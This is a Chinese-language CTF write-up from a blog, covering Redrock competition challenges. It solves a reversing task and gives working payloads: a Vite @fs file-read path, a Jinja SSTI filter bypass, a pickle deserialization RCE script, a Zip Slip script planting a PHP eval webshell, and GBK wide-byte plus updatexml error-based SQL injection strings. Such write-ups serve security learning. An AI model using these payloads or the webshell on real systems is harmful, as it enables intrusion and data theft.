
能成功脱壳

img

main函数

img

一个rc4加密,找到密文,密钥

img

img

序要求的是一个 45 字节字符串

img

rc4里有一个异或21,稍微魔改了一下

img

上厨子解码发现差一个括号,可能故意这样设计的

ida打开看字符串

img

img

密文

| 1 2 3 4 5 6 7 8 9 | 3E 62 3B 79 55 3B 79 55 78 39 6B 66 55 6C 3B 3E 6D MOV AL, 0EH ; 初始化 AL 为 0x0E CRLF ; 2. 调用换行宏 MOV BH, AL ; 3. 将 AL 赋值给 BH 作为密钥 FLAG: MOV DL,[SI] ; 取输入的字符 MOV BL,[DI] ; 取密文 (DATA_MSG) XOR BL,BH ; 密文与 BH 进行异或 CMP BL,DL ; 比较结果 |

使用 0x0E 对 密文 进行异或解密得到的是乱码

仔细看这段代码

| 1 2 3 4 5 6 7 | CRLF MACRO MOV AH, 02H MOV DL, 0DH INT 21H ; 输出回车 MOV DL, 0AH ; DL 被赋值 0x0A INT 21H ; 输出换行 ENDM |

当执行 INT 21H (输出字符)时,AL 寄存器往往会被修改为最后输出字符的 ASCII 码。 由于宏的最后一步是输出换行符 0x0A,在宏执行结束后,AL 的值实际上从 0x0E 变成了 0x0A。

因此,MOV BH, AL 执行时,实际的密钥是 **0x0A**。

img

| 1 | Redrock{4h1s_1s_r3al_f14g} |

题目信息:

flag在/flag里 出题人:call1ng

vite版本为6.2.2

vite都更新到7.3了,你这也太老了吧

根据题目描述和提示去网上找一个一个cve,说可以通过利用@fs路径读取加上添加?raw参数绕过安全检查

payload@fs/flag?raw

img

| 1 | Redrock{you_aRe_a_6R34t_C7f_p14YeR_36f878a81685} |

提示说ssti,但是没找到参数点,后来直接在url后面尝试49发现返回49

img

过滤了中括号

img

还过滤了点号

img

获取 object 基类{{ ''|attr('`**`cla'+'ss`**`')|attr('`**`ba'+'se`**`') }}

得到Request URL: /<class 'object'>

获取完整 Python 子类列表

img

利用FileLoader文件读取

得到

img

img

结合题目提示pickle,抓包看到了参数点是cookie里的test

原始数据反序列化后是字典{'username': 'redeckers'}

满足字典的形式利用eval内置函数封装来执行命令

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | import pickle import base64 class GenPayload: def __reduce__(self): cmd = 'ls /' func = eval args = (f"{{'username': __import__('os').popen('{cmd}').read()}}",) return (func, args) # 生成 Payload payload = pickle.dumps(GenPayload()) payload_b64 = base64.b64encode(payload).decode() print(payload_b64) |

执行成功得到

img

接着直接cat /f*读取flag

img

看源码

服务器接收文件 ,生成随机目录 md5(time+rand) 解压 检查并删除非法文件

如果在压缩包里把文件名改成 ../../shell.php,unzip会把文件往上层目录放。

利用 Zip Slip(压缩包目录穿越)漏洞,编写 脚本构造包含 ../../shell.php 恶意文件名的压缩包,利用 PHP 解压逻辑未过滤 ../ 的缺陷,让 Webshell 在解压时,直接放到服务器的网站根目录下。

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | import zipfile def create_root_exploit(): # 创建压缩包 zip_name = 'root_gamble.zip' with zipfile.ZipFile(zip_name, 'w') as zf: target_name = '../../shell.php' # 密码是 cmd payload = '\Success! I am in Root!\"; @eval($\_POST\["cmd"\]); ?>' zf.writestr(target_name, payload) if __name__ == '__main__': create_root_exploit() |

上传生成的压缩包,在访问文件

img

看到已经成功,直接输出flag

img

源码审计,我们发现代码虽然使用了 PDO 预处理,但因未禁用“模拟预处理”且涉及 GBK 编码转换,导致了宽字节注入漏洞;可以利用 %df(十六进制)与自动生成的转义符 \ 组合成一个 GBK 汉字,成功让单引号逃逸并闭合 SQL 语句,从而绕过了登录验证。

payload:

| 1 | username=admin%df%27+or+1=1%23&password=123 |

img

发现能成功登录但是没什么信息李四账户

再次查看源码,发现

img

程序会回显 SQL 报错信息。使用 报错注入 来提取数据。

利用 updatexml 函数制造 XPATH 语法错误,爆出当前数据库名

| 1 | username=x%df%27+or+updatexml(1,concat(0x7e,database(),0x7e),1)%23&password=123 |

img

获取当前数据库下的所有表名

| 1 | username=x%df%27+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)%23&password=123 |

img

获取 secret 表里的字段名。 0x736563726574是 secret的十六进制编码

| 1 | username=x%df%27+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name=0x736563726574),0x7e),1)%23&password=123 |

img

读取flag

| 1 | username=x%df%27+or+updatexml(1,concat(0x7e,(select+flag+from+secret),0x7e),1)%23&password=123 |

img

发现只有一部分,因为报错回显长度限制(32字符)

使用 substr 跳过前 27 个字符,读取剩余部分

img

拼接起来得到:

| 1 | REDROCK{In5ecur3_m0ck_pre-comp1lation} |

CC BY-NC-SA 4.0许可协议。转载请注明来源

Jx!

原文链接:https://mikkoseven.github.io/posts/redrock-ctf-writeup/